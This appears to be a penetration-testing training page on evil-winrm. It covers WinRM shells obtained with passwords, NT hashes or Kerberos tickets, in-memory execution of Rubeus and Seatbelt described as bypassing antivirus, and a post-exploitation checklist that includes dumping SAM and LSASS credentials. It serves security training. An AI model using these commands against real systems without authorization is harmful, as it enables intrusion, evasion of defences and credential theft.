evil-winrm

The go-to tool for getting a PowerShell shell on Windows targets over WinRM (port 5985/5986). Supports password auth, pass-the-hash, Kerberos tickets, file upload/download, and in-memory .NET execution.

Linux (attacker) Windows (target) CPTS
LevelBeginner. It needs a credential, so it comes after you have a password, hash or ticket.
Know firstWhat WinRM is (Windows remote management on ports 5985 and 5986), and that you need valid credentials and the right group membership.
You will learn toget a PowerShell shell with a password, a hash or a ticket, and work out why a connection is refused.

What is it?

evil-winrm is a shell client for WinRM (Windows Remote Management), which is Microsoft's implementation of the WS-Management protocol. WinRM listens on port 5985 (HTTP) or 5986 (HTTPS) and gives you a PowerShell session on the target.

Think of it as SSH for Windows. When you find port 5985 open on a Windows box and you have valid credentials, evil-winrm gives you an interactive PowerShell shell, from your Kali box.

ToolProtocolPortShell typeRequires
evil-winrmWinRM5985/5986PowerShellCreds + Remote Management Users or local admin
psexecSMB445cmd.exe (SYSTEM)Local admin + writeable share
wmiexecWMI/DCOM135Semi-interactive cmdLocal admin
xfreerdpRDP3389Full GUI desktopRDP access + password (no hash)
Why evil-winrm is the preferred tool

evil-winrm is the cleanest remote shell option. It doesn't create a service (like psexec), doesn't write to disk (like psexec), supports pass-the-hash natively, and gives you PowerShell (much more powerful than cmd). It's your default choice when port 5985 is open.

Run this first

Use a username and password for an account that is allowed to use WinRM. Quote the password so your shell does not interpret special characters.

bash: your first connection
$ evil-winrm -i 10.10.10.10 -u administrator -p 'P@ssw0rd'
  • -i is the target.
  • -u and -p are the username and password.

You land in a PowerShell prompt on the target, and upload and download move files. Port 5985 must be open (check your Nmap scan), and the account must be a local administrator or in the Remote Management Users group.

output: a successful connection
Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\administrator\Documents>  <-- this prompt means you're in, and shows where you landed

When do you use it?

Use evil-winrm when
  • Nmap shows port 5985 open and you have credentials (password or hash)
  • You cracked a password and the user is a local admin or in the "Remote Management Users" group
  • You have an NT hash from Mimikatz/secretsdump and want a shell (pass-the-hash)
  • You have a Kerberos ticket and want a shell (pass-the-ticket with -k)
  • You need to upload/download files: evil-winrm has built-in file transfer
  • You want to run .NET tools in memory: load Rubeus, Seatbelt, SharpUp without writing to disk
Who can use WinRM?

Not every user can connect via WinRM. The user must be either a local administrator or a member of the "Remote Management Users" group. If you have valid creds but get "Access denied", the user likely doesn't have WinRM access, try psexec or RDP instead.

How do you use it?

Basic authentication

bash: password authentication
# Connect with username and password
$ evil-winrm -i 10.10.10.10 -u administrator -p 'P@ssw0rd'

# Domain accounts use the same syntax. There is no domain flag; -r REALM is only for Kerberos auth
$ evil-winrm -i 10.10.10.10 -u jsmith -p 'Summer2024!'

Pass-the-hash

bash: use an NT hash instead of a password
# -H = NT hash (from mimikatz, secretsdump, etc.)
$ evil-winrm -i 10.10.10.10 -u administrator -H 64f12cddaa88057e06a81b54e73b949b

# This is pass-the-hash: you don't need to crack the password

Kerberos authentication

bash: pass-the-ticket
# Set the ccache file from Rubeus/impacket
$ export KRB5CCNAME=administrator.ccache

# Connect using Kerberos (use hostname, NOT IP)
$ evil-winrm -i DC01.corp.local -r corp.local

File upload and download

evil-winrm session
# Upload a file to the target
*Evil-WinRM* PS C:\Users\admin> upload /home/kali/tools/Rubeus.exe C:\temp\Rubeus.exe

# Download a file from the target
*Evil-WinRM* PS C:\Users\admin> download C:\Users\admin\Desktop\proof.txt /home/kali/loot/proof.txt

# Upload is relative to your Kali CWD if no absolute path

Load .NET assemblies in memory

bash + evil-winrm: run tools without touching disk
# Start evil-winrm with a directory of .NET executables
$ evil-winrm -i 10.10.10.10 -u admin -H HASH -e /home/kali/tools/

# Inside the session, load and execute .NET tools from memory
*Evil-WinRM* PS C:\> Invoke-Binary Rubeus.exe kerberoast /outfile:C:\temp\hashes.txt
*Evil-WinRM* PS C:\> Invoke-Binary Seatbelt.exe -group=all
*Evil-WinRM* PS C:\> Invoke-Binary SharpUp.exe audit

# These execute IN MEMORY, the .exe never touches the target disk
# Much less likely to be caught by AV
In-memory execution is huge

The -e flag + Invoke-Binary lets you run GhostPack tools (Rubeus, Seatbelt, SharpUp) without uploading them. This bypasses most file-based AV detection. Always use this when you can.

Load PowerShell scripts

bash + evil-winrm
# Start with a directory of .ps1 scripts
$ evil-winrm -i 10.10.10.10 -u admin -p pass -s /home/kali/tools/ps/

# Inside the session, load a script into memory
*Evil-WinRM* PS C:\> PowerView.ps1
*Evil-WinRM* PS C:\> Get-DomainUser -SPN

# The script is loaded into memory, you can call its functions

What do you do once connected?

You have a PowerShell session. Standard post-exploitation flow:

1
Situational awareness

whoami /all, net user, net localgroup Administrators, ipconfig /all, systeminfo

2
Check privileges

whoami /priv: SeImpersonatePrivilege? → Potato attacks

3
Run enumeration

Upload and run winPEAS, Seatbelt, or SharpUp

4
Grab credentials

If admin: Mimikatz or secretsdump from Kali. Dump SAM, LSASS

5
Pivot if needed

ipconfig /all: multiple NICs? → Ligolo-ng

Common mistakes

Watch out
  • Access denied with valid creds: The user isn't a local admin or in Remote Management Users. Try psexec.py or wmiexec.py instead (they only need local admin, not WinRM group membership)
  • Port 5985 not open: WinRM isn't enabled on every Windows machine. It's default-on for Server editions but off for workstations. Check your Nmap scan
  • Using IP with Kerberos: Kerberos requires hostnames, not IPs. Use -i DC01.corp.local not -i 10.10.10.10 when using -k or ccache
  • Forgetting -e for in-memory execution: Without -e /path/to/tools/, you can't use Invoke-Binary. Start a new session with -e if needed
  • SSL errors on port 5986: Add -S for SSL connections on port 5986. For self-signed certs, you may need to skip verification

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

Beyond valid credentials, what two conditions must hold for evil-winrm to work?
WinRM must be reachable (port 5985, or 5986 for SSL), and the account must be a local administrator or in the Remote Management Users group.
You get "access denied" with valid credentials. What do you try instead?
psexec.py or wmiexec.py. They need local admin rights but not WinRM group membership.
You have an NT hash and no password. How do you connect?
Pass the hash with -H, for example evil-winrm -i 10.10.10.10 -u administrator -H <NT hash>.
Why does Kerberos authentication need a hostname and not an IP address?
Kerberos tickets are issued for service names, so the host has to be given as a name such as DC01.corp.local. With -k or a ccache file, use -i DC01.corp.local.
Nmap shows port 5985 closed on a workstation. Is that unusual?
No. WinRM is on by default for Server editions but off for workstations, so a closed port is normal there.